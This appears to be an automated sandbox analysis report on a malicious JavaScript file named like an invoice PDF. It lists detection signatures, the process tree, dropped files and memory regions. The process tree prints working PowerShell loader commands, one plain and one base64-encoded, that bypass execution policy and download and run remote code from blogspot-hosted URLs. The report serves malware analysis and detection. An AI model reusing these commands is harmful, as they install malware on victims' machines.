Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/04/2026, 08:46

General

  • Target
    invoice-1645080830.pdf (52).js
  • Size 21.1MB
  • Sample260427-kpdlcsez21
  • SHA256 604d3aef9fbec737328c28f73e04e929e84c0c702c4944ac7a93f0db7667d8d6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 6 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (52).js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17
      2⤵
      • Badlisted process makes network request
      • Adds Run key to start application
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:756
      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\Document.pdf"
        3⤵
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5112
        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2748
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B8525D1C726CC496F6A0A296C05EAB2D --mojo-platform-channel-handle=1732 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2072
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=6F12E4AC2F23C7526113563B715E46E9 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=6F12E4AC2F23C7526113563B715E46E9 --renderer-client-id=2 --mojo-platform-channel-handle=1904 --allow-no-sandbox-job /prefetch:1
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3120
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=FC2CAC1D266F29946F9323EEC896CE2F --mojo-platform-channel-handle=2484 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1908
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=125A333A9A8411D0F9AA037C3241801F --mojo-platform-channel-handle=2524 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3472
          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=292352D1920139778A0A5AF4EC4BBF41 --mojo-platform-channel-handle=1712 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3372
  • C:\Windows\system32\conhost.exe
    conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAaQBlAHgAIAAoAEkAcgBNACAAaAB0AHQAcABzADoALwAvAGgAaQBtAGEAYwBoAGEAbAB5ADEANwBhAHAAbAByAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwBzAGMAbwBvAGIAYQAuAGQAbwBjAHgALgBwAGQAZgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADkA
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAaQBlAHgAIAAoAEkAcgBNACAAaAB0AHQAcABzADoALwAvAGgAaQBtAGEAYwBoAGEAbAB5ADEANwBhAHAAbAByAC4AYgBsAG8AZwBzAHAAbwB0AC4AYwBvAG0ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwBzAGMAbwBvAGIAYQAuAGQAbwBjAHgALgBwAGQAZgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADkA
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2108

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ReaderMessages

        • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
        • Size 36KB
        • SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ReaderMessages

        • Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
        • Size 56KB
        • SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_rvhqitg3.dmg.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rvhqitg3.dmg.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        Document.pdf

        • Path C:\Users\Admin\Downloads\Document.pdf
        • Size 78KB
        • SHA256 971f7c51b551935bfbc5f312a37e9fd8bc18d6e4ef427de833c63a3079bcd29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/756-40-0x0000026F89CB0000-0x0000026F89CC0000-memory.dmp

        memory/756-42-0x0000026F89810000-0x0000026F8981C000-memory.dmp

        memory/756-15-0x0000026FA2680000-0x0000026FA26AA000-memory.dmp

        memory/756-16-0x0000026FA2680000-0x0000026FA26A4000-memory.dmp

        memory/756-11-0x0000026FA26B0000-0x0000026FA2872000-memory.dmp

        memory/756-67-0x0000026F89810000-0x0000026F8981C000-memory.dmp

        memory/756-41-0x0000026F89CB0000-0x0000026F89CC0000-memory.dmp

        memory/756-12-0x0000026F89CB0000-0x0000026F89CC0000-memory.dmp

        memory/756-1-0x0000026F89CB0000-0x0000026F89CC0000-memory.dmp

        memory/756-2-0x0000026F89CB0000-0x0000026F89CC0000-memory.dmp

        memory/756-45-0x0000026F89CB0000-0x0000026F89CC0000-memory.dmp

        memory/756-8-0x0000026FA1F80000-0x0000026FA1FA2000-memory.dmp

        memory/2108-46-0x0000021537E90000-0x0000021537E9C000-memory.dmp

        memory/2108-44-0x0000021552390000-0x00000215523AE000-memory.dmp

        memory/2108-43-0x0000021552230000-0x0000021552252000-memory.dmp

        memory/4832-0-0x0000014E61E90000-0x0000014E61E9C000-memory.dmp